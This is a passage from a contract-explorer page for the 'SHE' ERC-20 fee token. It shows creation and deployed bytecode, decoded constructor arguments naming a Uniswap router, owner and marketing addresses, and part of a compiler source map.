01b900460ff16610f8d5760405162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b6044820152606401610895565b6001600160a01b03841660009081526007602052604090205460ff16158015610fcf57506001600160a01b03831660009081526007602052604090205460ff16155b1561102857600f546001600160a01b038581169116148015610fff5750601154601054610ffc9190611b06565b43105b156110285760035461102190859061010090046001600160a01b0316846112f1565b9050610802565b600f54600160a01b900460ff1615611045576110218484846112f1565b30600090815260056020526040902054600c54811080159081906110735750600f54600160a01b900460ff16155b801561109857506001600160a01b03861660009081526008602052604090205460ff16155b80156110ad5750600f54600160a81b900460ff165b156110d357600f54600160b01b900460ff16156110ca57600c5491505b6110d3826113d7565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611125918690611216565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061117257506001600160a01b03861660009081526007602052604090205460ff165b61118657611181878787611426565b611188565b845b6001600160a01b0387166000908152600560205260409020549091506111ae9082611292565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112029085815260200190565b60405180910390a360019350505050610802565b6000818484111561123a5760405162461bcd60e51b81526004016108959190611a1f565b5060006112478486611b5f565b95945050505050565b600061080283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611216565b60008061129f8385611b06565b9050838110156108025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610895565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611342918490611216565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546113719083611292565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c59086815260200190565b60405180910390a35060019392505050565b600f805460ff60a01b1916600160a01b1790556113f381611532565b478015611415576003546114159061010090046001600160a01b0316826116d4565b5050600f805460ff60a01b19169055565b6001600160a01b038316600090815260086020526040812054819060ff16156114705761146960646114636009548661170f90919063ffffffff16565b9061178e565b90506114ae565b6001600160a01b03841660009081526008602052604090205460ff16156114ae576114ab6064611463600a548661170f90919063ffffffff16565b90505b801561152857306000908152600560205260409020546114ce9082611292565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061151f9085815260200190565b60405180910390a35b6112478382611250565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061156757611567611be2565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115bb57600080fd5b505afa1580156115cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f3919061182b565b8160018151811061160657611606611be2565b6001600160a01b039283166020918202929092010152600e5461162c9130911684610c6f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611665908590600090869030904290600401611aca565b600060405180830381600087803b15801561167f57600080fd5b505af1158015611693573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516116c8929190611aa9565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561170a573d6000803e3d6000fd5b505050565b60008261171e57506000610798565b600061172a8385611b40565b9050826117378583611b1e565b146108025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610895565b600061080283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836117ec5760405162461bcd60e51b81526004016108959190611a1f565b5060006112478486611b1e565b8035801515811461180957600080fd5b919050565b60006020828403121561182057600080fd5b813561080281611bf8565b60006020828403121561183d57600080fd5b815161080281611bf8565b6000806040838503121561185b57600080fd5b823561186681611bf8565b9150602083013561187681611bf8565b809150509250929050565b60008060006060848603121561189657600080fd5b83356118a181611bf8565b925060208401356118b181611bf8565b929592945050506040919091013590565b600080604083850312156118d557600080fd5b82356118e081611bf8565b91506118ee602084016117f9565b90509250929050565b6000806040838503121561190a57600080fd5b823561191581611bf8565b946020939093013593505050565b60008060006040848603121561193857600080fd5b833567ffffffffffffffff8082111561195057600080fd5b818601915086601f83011261196457600080fd5b81358181111561197357600080fd5b8760208260051b850101111561198857600080fd5b60209283019550935061199e91860190506117f9565b90509250925092565b6000602082840312156119b957600080fd5b610802826117f9565b6000602082840312156119d457600080fd5b5035919050565b600081518084526020808501945080840160005b83811015611a145781516001600160a01b0316875295820195908201906001016119ef565b509495945050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b828152604060208201526000611ac260408301846119db565b949350505050565b85815284602082015260a060408201526000611ae960a08301866119db565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611b1957611b19611bcc565b500190565b600082611b3b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b5a57611b5a611bcc565b500290565b600082821015611b7157611b71611bcc565b500390565b600181811c90821680611b8a57607f821691505b60208210811415611bab57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611bc557611bc5611bcc565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114611c0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208ae35a75cfa71c3d2072e5d6b0e13092626683ef0dcc8616abb8e4ac0518420664736f6c6343000807003300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000775f05a0740000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000a00e5ba0b05ac19ca0b39e23768ce8b30a118d00000000000000000000000000536dabd3f197f3d8470db19bafcee9877cf707cd0000000000000000000000000000000000000000000000000000000000000003534845000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035348450000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061021e5760003560e01c806382eefb4311610123578063a9059cbb116100ab578063d158272d1161006f578063d158272d14610633578063da00097d14610658578063dd62ed3e14610679578063f0cd1dac146106bf578063f2fde38b146106d557600080fd5b8063a9059cbb14610593578063b2bdfa7b146105b3578063c492f046146105d3578063c49b9a80146105f3578063c816841b1461061357600080fd5b8063914eb66a116100f2578063914eb66a1461051457806395d89b4114610529578063a073d37f1461053e578063a457c2d714610553578063a5d69d1f1461057357600080fd5b806382eefb43146104ab578063844d591c146104c15780638456cb59146104e15780638da5cb5b146104f657600080fd5b806339509351116101a657806341c0e1b51161017557806341c0e1b5146103fb5780634a74bb02146104115780635342acb414610432578063557ed1ba1461046257806370a082311461047557600080fd5b806339509351146103735780633b97084a146103935780633df4ddf4146103b55780633ecad271146103cb57600080fd5b806323b872dd116101ed57806323b872dd146102dc57806327c8f835146102fc5780632b112e491461031c5780632f48ab7d14610331578063313ce5671461035157600080fd5b806306fdde031461022a578063095ea7b3146102555780631694505e1461028557806318160ddd146102bd57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106f5565b60405161024c9190611a1f565b60405180910390f35b34801561026157600080fd5b506102756102703660046118f7565b610787565b604051901515815260200161024c565b34801561029157600080fd5b50600e546102a5906001600160a01b031681565b6040516001600160a01b03909116815260200161024c565b3480156102c957600080fd5b50600b545b60405190815260200161024c565b3480156102e857600080fd5b506102756102f7366004611881565b61079e565b34801561030857600080fd5b506004546102a5906001600160a01b031681565b34801561032857600080fd5b506102ce610809565b34801561033d57600080fd5b50600d546102a5906001600160a01b031681565b34801561035d57600080fd5b5060035460405160ff909116815260200161024c565b34801561037f57600080fd5b5061027561038e3660046118f7565b610835565b34801561039f57600080fd5b506103b36103ae3660046119c2565b61086b565b005b3480156103c157600080fd5b506102ce60105481565b3480156103d757600080fd5b506102756103e636600461180e565b60086020526000908152604090205460ff1681565b34801561040757600080fd5b506102ce60115481565b34801561041d57600080fd5b50600f5461027590600160a81b900460ff1681565b34801561043e57600080fd5b5061027561044d36600461180e565b60076020526000908152604090205460ff1681565b34801561046e57600080fd5b50426102ce565b34801561048157600080fd5b506102ce61049036600461180e565b6001600160a01b031660009081526005602052604090205490565b3480156104b757600080fd5b506102ce600a5481565b3480156104cd57600080fd5b506103b36104dc3660046118c2565b6108a3565b3480156104ed57600080fd5b506103b36108f8565b34801561050257600080fd5b506000546001600160a01b03166102a5565b34801561052057600080fd5b506103b361093b565b34801561053557600080fd5b5061023f6109af565b34801561054a57600080fd5b50600c546102ce565b34801561055f57600080fd5b5061027561056e3660046118f7565b6109be565b34801561057f57600080fd5b506103b361058e3660046119a7565b610a0d565b34801561059f57600080fd5b506102756105ae3660046118f7565b610a55565b3480156105bf57600080fd5b506000546102a5906001600160a01b031681565b3480156105df57600080fd5b506103b36105ee366004611923565b610a62565b3480156105ff57600080fd5b506103b361060e3660046119a7565b610b03565b34801561061f57600080fd5b50600f546102a5906001600160a01b031681565b34801561063f57600080fd5b506003546102a59061010090046001600160a01b031681565b34801561066457600080fd5b50600f5461027590600160b01b900460ff1681565b34801561068557600080fd5b506102ce610694366004611848565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156106cb57600080fd5b506102ce60095481565b3480156106e157600080fd5b506103b36106f036600461180e565b610b85565b60606001805461070490611b76565b80601f016020809104026020016040519081016040528092919081815260200182805461073090611b76565b801561077d5780601f106107525761010080835404028352916020019161077d565b820191906000526020600020905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b6000610794338484610c6f565b5060015b92915050565b60006107ab848484610d93565b506107fe84336107f985604051806060016040528060288152602001611c11602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611216565b610c6f565b5060015b9392505050565b6004546001600160a01b0316600090815260056020526040812054600b5461083091611250565b905090565b3360008181526006602090815260408083206001600160a01b038716845290915281205490916107949185906107f99086611292565b6000546001600160a01b0316331461089e5760405162461bcd60e51b815260040161089590611a74565b60405180910390fd5b600c55565b6000546001600160a01b031633146108cd5760405162461bcd60e51b815260040161089590611a74565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161089590611a74565b600d805460ff60a01b1916600160a01b17905543601055565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161089590611a74565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606002805461070490611b76565b600061079433846107f985604051806060016040528060258152602001611c39602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611216565b6000546001600160a01b03163314610a375760405162461bcd60e51b815260040161089590611a74565b600f8054911515600160b01b0260ff60b01b19909216919091179055565b60006107fe338484610d93565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b815260040161089590611a74565b60005b82811015610afd578160076000868685818110610aae57610aae611be2565b9050602002016020810190610ac3919061180e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610af581611bb1565b915050610a8f565b50505050565b6000546001600160a01b03163314610b2d5760405162461bcd60e51b815260040161089590611a74565b600f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610b7a90831515815260200190565b60405180910390a150565b6000546001600160a01b03163314610baf5760405162461bcd60e51b815260040161089590611a74565b6001600160a01b038116610c145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610895565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610895565b6001600160a01b038216610d325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610895565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610df95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610895565b6001600160a01b038316610e5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610895565b60008211610ebd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610895565b6001600160a01b03841660009081526007602052604090205460ff16158015610eff57506001600160a01b03831660009081526007602052604090205460ff16155b15610f8d576001600160a01b03841660009081526008602052604090205460ff1680610f4357506001600160a01b03831660009081526008602052604090205460ff165b15610f8d57600d54600160a01b900460ff16610f8d5760405162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b6044820152606401610895565b6001600160a01b03841660009081526007602052604090205460ff16158015610fcf57506001600160a01b03831660009081526007602052604090205460ff16155b1561102857600f546001600160a01b038581169116148015610fff5750601154601054610ffc9190611b06565b43105b156110285760035461102190859061010090046001600160a01b0316846112f1565b9050610802565b600f54600160a01b900460ff1615611045576110218484846112f1565b30600090815260056020526040902054600c54811080159081906110735750600f54600160a01b900460ff16155b801561109857506001600160a01b03861660009081526008602052604090205460ff16155b80156110ad5750600f54600160a81b900460ff165b156110d357600f54600160b01b900460ff16156110ca57600c5491505b6110d3826113d7565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611125918690611216565b6001600160a01b038716600090815260056020908152604080832093909355600790529081205460ff168061117257506001600160a01b03861660009081526007602052604090205460ff165b61118657611181878787611426565b611188565b845b6001600160a01b0387166000908152600560205260409020549091506111ae9082611292565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112029085815260200190565b60405180910390a360019350505050610802565b6000818484111561123a5760405162461bcd60e51b81526004016108959190611a1f565b5060006112478486611b5f565b95945050505050565b600061080283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611216565b60008061129f8385611b06565b9050838110156108025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610895565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611342918490611216565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546113719083611292565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c59086815260200190565b60405180910390a35060019392505050565b600f805460ff60a01b1916600160a01b1790556113f381611532565b478015611415576003546114159061010090046001600160a01b0316826116d4565b5050600f805460ff60a01b19169055565b6001600160a01b038316600090815260086020526040812054819060ff16156114705761146960646114636009548661170f90919063ffffffff16565b9061178e565b90506114ae565b6001600160a01b03841660009081526008602052604090205460ff16156114ae576114ab6064611463600a548661170f90919063ffffffff16565b90505b801561152857306000908152600560205260409020546114ce9082611292565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061151f9085815260200190565b60405180910390a35b6112478382611250565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061156757611567611be2565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115bb57600080fd5b505afa1580156115cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f3919061182b565b8160018151811061160657611606611be2565b6001600160a01b039283166020918202929092010152600e5461162c9130911684610c6f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611665908590600090869030904290600401611aca565b600060405180830381600087803b15801561167f57600080fd5b505af1158015611693573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516116c8929190611aa9565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561170a573d6000803e3d6000fd5b505050565b60008261171e57506000610798565b600061172a8385611b40565b9050826117378583611b1e565b146108025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610895565b600061080283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836117ec5760405162461bcd60e51b81526004016108959190611a1f565b5060006112478486611b1e565b8035801515811461180957600080fd5b919050565b60006020828403121561182057600080fd5b813561080281611bf8565b60006020828403121561183d57600080fd5b815161080281611bf8565b6000806040838503121561185b57600080fd5b823561186681611bf8565b9150602083013561187681611bf8565b809150509250929050565b60008060006060848603121561189657600080fd5b83356118a181611bf8565b925060208401356118b181611bf8565b929592945050506040919091013590565b600080604083850312156118d557600080fd5b82356118e081611bf8565b91506118ee602084016117f9565b90509250929050565b6000806040838503121561190a57600080fd5b823561191581611bf8565b946020939093013593505050565b60008060006040848603121561193857600080fd5b833567ffffffffffffffff8082111561195057600080fd5b818601915086601f83011261196457600080fd5b81358181111561197357600080fd5b8760208260051b850101111561198857600080fd5b60209283019550935061199e91860190506117f9565b90509250925092565b6000602082840312156119b957600080fd5b610802826117f9565b6000602082840312156119d457600080fd5b5035919050565b600081518084526020808501945080840160005b83811015611a145781516001600160a01b0316875295820195908201906001016119ef565b509495945050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b828152604060208201526000611ac260408301846119db565b949350505050565b85815284602082015260a060408201526000611ae960a08301866119db565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611b1957611b19611bcc565b500190565b600082611b3b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b5a57611b5a611bcc565b500290565b600082821015611b7157611b71611bcc565b500390565b600181811c90821680611b8a57607f821691505b60208210811415611bab57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611bc557611bc5611bcc565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114611c0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208ae35a75cfa71c3d2072e5d6b0e13092626683ef0dcc8616abb8e4ac0518420664736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000775f05a0740000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000a00e5ba0b05ac19ca0b39e23768ce8b30a118d00000000000000000000000000536dabd3f197f3d8470db19bafcee9877cf707cd0000000000000000000000000000000000000000000000000000000000000003534845000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035348450000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : coinName (string): SHE
Arg [1] : coinSymbol (string): SHE
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 2100000000000000
Arg [4] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [5] : owner (address): 0xa00E5bA0B05AC19CA0b39e23768CE8b30A118d00
Arg [6] : marketingAddress (address): 0x536DaBd3f197F3d8470db19BAfcee9877cF707cd
-----Encoded View---------------
11 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000120
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 000000000000000000000000000000000000000000000000000775f05a074000
Arg [4] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [5] : 000000000000000000000000a00e5ba0b05ac19ca0b39e23768ce8b30a118d00
Arg [6] : 000000000000000000000000536dabd3f197f3d8470db19bafcee9877cf707cd
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [8] : 5348450000000000000000000000000000000000000000000000000000000000
Arg [9] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [10] : 5348450000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
8038:10193:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10733:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12028:161;;;;;;;;;;-1:-1:-1;12028:161:0;;;;;:::i;:::-;;:::i;:::-;;;4308:14:1;;4301:22;4283:41;;4271:2;4256:18;12028:161:0;4143:187:1;8843:41:0;;;;;;;;;;-1:-1:-1;8843:41:0;;;;-1:-1:-1;;;;;8843:41:0;;;;;;-1:-1:-1;;;;;3875:32:1;;;3857:51;;3845:2;3830:18;8843:41:0;3711:203:1;11010:100:0;;;;;;;;;;-1:-1:-1;11090:12:0;;11010:100;;;9208:25:1;;;9196:2;9181:18;11010:100:0;9062:177:1;14071:313:0;;;;;;;;;;-1:-1:-1;14071:313:0;;;;;:::i;:::-;;:::i;8293:71::-;;;;;;;;;;-1:-1:-1;8293:71:0;;;;-1:-1:-1;;;;;8293:71:0;;;13528:128;;;;;;;;;;;;;:::i;8786:19::-;;;;;;;;;;-1:-1:-1;8786:19:0;;;;-1:-1:-1;;;;;8786:19:0;;;10919:83;;;;;;;;;;-1:-1:-1;10985:9:0;;10919:83;;10985:9;;;;10310:36:1;;10298:2;10283:18;10919:83:0;10168:184:1;11396:218:0;;;;;;;;;;-1:-1:-1;11396:218:0;;;;;:::i;:::-;;:::i;12679:125::-;;;;;;;;;;-1:-1:-1;12679:125:0;;;;;:::i;:::-;;:::i;:::-;;13122:20;;;;;;;;;;;;;;;;8553:45;;;;;;;;;;-1:-1:-1;8553:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13149:23;;;;;;;;;;;;;;;;8954:40;;;;;;;;;;-1:-1:-1;8954:40:0;;;;-1:-1:-1;;;8954:40:0;;;;;;8496:50;;;;;;;;;;-1:-1:-1;8496:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6197:90;;;;;;;;;;-1:-1:-1;6264:15:0;6197:90;;11118:119;;;;;;;;;;-1:-1:-1;11118:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;11211:18:0;11184:7;11211:18;;;:9;:18;;;;;;;11118:119;8652:37;;;;;;;;;;;;;;;;12542:129;;;;;;;;;;-1:-1:-1;12542:129:0;;;;;:::i;:::-;;:::i;13181:98::-;;;;;;;;;;;;;:::i;5578:79::-;;;;;;;;;;-1:-1:-1;5616:7:0;5643:6;-1:-1:-1;;;;;5643:6:0;5578:79;;5792:145;;;;;;;;;;;;;:::i;10824:87::-;;;;;;;;;;;;;:::i;11899:121::-;;;;;;;;;;-1:-1:-1;11988:24:0;;11899:121;;11622:269;;;;;;;;;;-1:-1:-1;11622:269:0;;;;;:::i;:::-;;:::i;12991:125::-;;;;;;;;;;-1:-1:-1;12991:125:0;;;;;:::i;:::-;;:::i;13896:167::-;;;;;;;;;;-1:-1:-1;13896:167:0;;;;;:::i;:::-;;:::i;5454:21::-;;;;;;;;;;-1:-1:-1;5454:21:0;;;;-1:-1:-1;;;;;5454:21:0;;;13285:235;;;;;;;;;;-1:-1:-1;13285:235:0;;;;;:::i;:::-;;:::i;12812:171::-;;;;;;;;;;-1:-1:-1;12812:171:0;;;;;:::i;:::-;;:::i;8891:26::-;;;;;;;;;;-1:-1:-1;8891:26:0;;;;-1:-1:-1;;;;;8891:26:0;;;8241:45;;;;;;;;;;-1:-1:-1;8241:45:0;;;;;;;-1:-1:-1;;;;;8241:45:0;;;9001;;;;;;;;;;-1:-1:-1;9001:45:0;;;;-1:-1:-1;;;9001:45:0;;;;;;11245:143;;;;;;;;;;-1:-1:-1;11245:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11353:18:0;;;11326:7;11353:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11245:143;8609:36;;;;;;;;;;;;;;;;5945:244;;;;;;;;;;-1:-1:-1;5945:244:0;;;;;:::i;:::-;;:::i;10733:83::-;10770:13;10803:5;10796:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10733:83;:::o;12028:161::-;12103:4;12120:39;198:10;12143:7;12152:6;12120:8;:39::i;:::-;-1:-1:-1;12177:4:0;12028:161;;;;;:::o;14071:313::-;14169:4;14186:36;14196:6;14204:9;14215:6;14186:9;:36::i;:::-;-1:-1:-1;14233:121:0;14242:6;198:10;14264:89;14302:6;14264:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14264:19:0;;;;;;:11;:19;;;;;;;;198:10;14264:33;;;;;;;;;;:37;:89::i;:::-;14233:8;:121::i;:::-;-1:-1:-1;14372:4:0;14071:313;;;;;;:::o;13528:128::-;13635:11;;-1:-1:-1;;;;;13635:11:0;13581:7;11211:18;;;:9;:18;;;;;;13608:12;;:40;;:16;:40::i;:::-;13601:47;;13528:128;:::o;11396:218::-;198:10;11484:4;11533:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11533:34:0;;;;;;;;;;11484:4;;11501:83;;11524:7;;11533:50;;11572:10;11533:38;:50::i;12679:125::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;;;;;;;;;12761:24:::1;:35:::0;12679:125::o;12542:129::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12631:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;12631:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12542:129::o;13181:98::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;13226:7:::1;:14:::0;;-1:-1:-1;;;;13226:14:0::1;-1:-1:-1::0;;;13226:14:0::1;::::0;;13259:12:::1;13251:5;:20:::0;13181:98::o;5792:145::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;5896:1:::1;5880:6:::0;;5859:40:::1;::::0;-1:-1:-1;;;;;5880:6:0;;::::1;::::0;5859:40:::1;::::0;5896:1;;5859:40:::1;5927:1;5910:19:::0;;-1:-1:-1;;;;;;5910:19:0::1;::::0;;5792:145::o;10824:87::-;10863:13;10896:7;10889:14;;;;;:::i;11622:269::-;11715:4;11732:129;198:10;11755:7;11764:96;11803:15;11764:96;;;;;;;;;;;;;;;;;198:10;11764:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11764:34:0;;;;;;;;;;;;:38;:96::i;12991:125::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;13072:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;13072:36:0::1;-1:-1:-1::0;;;;13072:36:0;;::::1;::::0;;;::::1;::::0;;12991:125::o;13896:167::-;13974:4;13991:42;198:10;14015:9;14026:6;13991:9;:42::i;13285:235::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;13402:9:::1;13398:113;13417:19:::0;;::::1;13398:113;;;13491:8;13458:17;:30;13476:8;;13485:1;13476:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13458:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13458:30:0;:41;;-1:-1:-1;;13458:41:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13438:3;::::1;::::0;::::1;:::i;:::-;;;;13398:113;;;;13285:235:::0;;;:::o;12812:171::-;5705:6;;-1:-1:-1;;;;;5705:6:0;198:10;5705:22;5697:67;;;;-1:-1:-1;;;5697:67:0;;;;;;;:::i;:::-;12889:21:::1;